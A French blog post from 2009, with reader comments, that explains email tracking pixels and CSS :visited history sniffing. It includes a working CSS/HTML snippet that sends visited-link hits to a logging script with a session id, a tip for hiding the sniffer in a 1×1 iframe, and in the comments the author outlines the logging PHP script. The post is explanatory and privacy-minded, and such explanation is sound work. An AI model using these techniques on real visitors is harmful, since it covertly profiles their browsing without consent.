Récupérer l’historique sans JavaScript

14 06 2009

Il est possible pour n’importe qui de récupérer votre historique sans utiliser JavaScript. Les mauvaises langues diront : encore une faille d’Internet Explorer… Et bien non ! Ce n’est pas grâce à une faille. Ça fonctionne avec tous les navigateurs (Firefox, Safari, Chrome…).

Ça m’a scotché, et pourtant…

Visitez la page qui affiche votre historique sur Making-the-web. Vous pouvez désactiver votre JavaScript si cela vous chante, mais ça ne changera pas grand chose.

Sniffeur d’historique sur Making-the-web

Sniffeur d’historique sur Making-the-web

Recyclage d’un principe utilisé par les spams

La méthode est simple, très simple (pour un développeur web s’entend). Encore fallait-il y penser !

Elle est très proche de la méthode utilisée par les spams pour savoir si une adresse mail est valide et qui a mené à la présence de nouvelles options dans les clients de messagerie.

Préférences d’Evolution sur le chargement des images

Préférences d’Evolution sur le chargement des images

Dans Evolution, par exemple, il est possible de :

  • Ne jamais charger les images à partir d’Internet (paramètre que je recommande),
  • Afficher les images dans les messages des contacts,
  • Toujours charger les images à partir d’Internet.

Ça veut dire quoi “charger les images à partir d’Internet” ?

Il y a deux façons d’avoir des images dans le corps d’un message :

  • image intégrée au message,
  • image enregistrée sur un serveur (Internet).

La première permet de pouvoir consulter ses messages hors connexion. La seconde présente l’avantage de ne pas surcharger votre boîte mail : les images sont chargées directement depuis Internet.

Le schéma ci-dessous explique ce dernier fonctionnement :

Chargement des images depuis Internet

Chargement des images depuis Internet

En quoi cette méthode est-elle gênante ?

Vous passez par un serveur pour récupérer l’image nécessaire pour afficher le message.

Imaginons un scénario classique :

  • un spammer récupère une liste de plusieurs centaines de milliers d’adresses emails,
  • il envoie un mail personnalisé (automatique) avec une image à chacune de ces adresses,
  • lorsqu’un destinataire lit son message, le spammer sait précisément :
    • que l’adresse email est valide,
    • que l’adresse email n’est pas une adresse abandonnée,
    • que le destinataire a consulté son message tel jour à telle heure,
    • le temps passé entre l’envoi du spam et sa lecture par le destinataire,
    • que le message n’a pas été filtré par un filtre anti-spam.

La protection de la vie privée en prend un coup !

Comment le spammer fait-il pour relier la lecture de l’image au message et donc au destinataire ?

Le lien vers une image peut prendre la forme suivante :

<img src="http:://www.example.com/image.php?destinataire=nigaud@example.net&mail=1234" />

Lorsque le serveur servira l’image, il enregistrera dans ses petites tables le destinataire et le numéro du spam (ben oui, le spammer ne va pas se limiter à un seul spam dans toute sa carrière).

Lire l’historique de navigation d’un internaute

Tout d’abord, il faut clarifier : cette méthode ne permet pas de lire l’historique de navigation mais de tester les sites déjà visités.

Comme je l’ai déjà dit, ce n’est pas une faille de sécurité en soi. Elle utilise une particularité de CSS

Le principe consiste à générer une énorme page avec des milliers de liens. Et, individuellement, on associe une image de fond à chaque lien par CSS en utilisant le pseudo-selecteur a:visited.

<style type="text/css">
#l1 a:visited {
   background:url(log_base.php?id=1&sess=8de6fb4);
}

#l1962 a:visited {
   background:url(log_base.php?id=1962&sess=8de6fb4);
}
</style>

<span id="l1"><a href="http://www.google.com/">a</a></span>
<span id="l1962"><a href="http://www.rouen.fr/">a</a></span>

Quand le navigateur arrivera sur un lien qu’il a déjà visité, il cherchera à le mettre en forme en lui affectant l’image de fond.

Notes :

  • id représente le numéro du lien et par conséquent l’URL à tester,
  • sess indique l’utilisateur.

Considérations

Cacher le vol d’historique

Tout comme Making-the-web.com, il suffit de créer une iframe de taille 1×1 pixel : le contenu ne sera pas visible mais le navigateur tentera de charger les images.

Lourdeur de la méthode et intérêt

Le navigateur travaille d’arrache-pied pour rechercher les images de ces différents liens : la consommation CPU augmente rapidement.

De plus, il y a plusieurs centaines de millions de noms de domaines. On ne peut pas tous les essayer.

Making-the-web travaille par lot de 2000 liens, un rafraîchissement automatique de la page permet de passer aux 2000 suivants.

Mais l’intérêt n’est pas dans le fait de pouvoir connaître tous les sites visités par un internaute. Il est très simple avec cette méthode de cibler les recherches.

Exemple 1 : un site marchand pourrait facilement savoir si vous avez été chez un concurrent pour vous renseigner sur le prix d’un produit et vous proposer une ristourne afin de vous faire conclure l’affaire chez lui. S’il ne détecte pas cela, il vous fera le prix normal…

Exemple 2 : un site gouvernemental (français, au hasard), sans avoir recours à la consultation des logs de votre fournisseur d’accès, pourrait connaître la liste des principaux site de téléchargements illégaux que vous avez visités alors que vous naviguez innocemment chez eux… le site des impôts serait un bon candidat.

Comment se prémunir de cela ?

Pour l’instant, mis à part le vidage régulier de votre historique, je ne vois pas trop de solutions.

Fenêtre Effacer mes traces de Firefox

Fenêtre Effacer mes traces de Firefox


Actions

Information

6 responses

30 08 2009
HORIYA

j’aimerai savoir comment consulter l’historique de navigation de la journéée de la semaine sans passé par outil, sans télécharger un logiciel spécifique.

Merci par avance de me répondre

31 08 2009
zigazou

Je ne suis pas sûr de bien comprendre ta question…

23 11 2010
Création site web

Je penses qu’Horiya voulait savoir si il y avait moyen de d’avoir un historique chronologique.

Si j’ai bien compris ta méthode, je ne penses pas que se soit possible.
On peut juste savoir si un site a déjà été visité ou non, sans aucune précision sur le moment de la visite.

Bien dommage pour espionnage😀

27 11 2010
zigazou

« Je penses qu’Horiya voulait savoir si il y avait moyen de d’avoir un historique chronologique. Si j’ai bien compris ta méthode, je ne penses pas que se soit possible.
On peut juste savoir si un site a déjà été visité ou non, sans aucune précision sur le moment de la visite. »

C’est tout à fait ça🙂

19 10 2011
Jack

Pour ma part, après quelques tests, je n’arrive pas a faire passer de paramètres avec le ‘sois-disant’ fond du css.
Cela est-il vraiment possible?
Et si oui comment faire le précisément?

Merci d’avance

3 11 2011
zigazou

Bonjour,

Oui c’est vraiment possible.

L’article ne donne que le principe de fonctionnement. Si vous voulez reproduire ce qui y est dit, il vous faudra d’aborder créer un programme PHP nommé log_base.php (par rapport à l’article) dans le même répertoire que le fichier CSS et acceptant deux paramètres GET (id et sess). Lors de l’exécution de ce programme, il devra enregistrer quelque part (en base de données ou dans un fichier) la trace de son utilisation.

Cela répond-il à ta question ?

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion / Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion / Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion / Changer )

Photo Google+

Vous commentez à l'aide de votre compte Google+. Déconnexion / Changer )

Connexion à %s




%d blogueurs aiment cette page :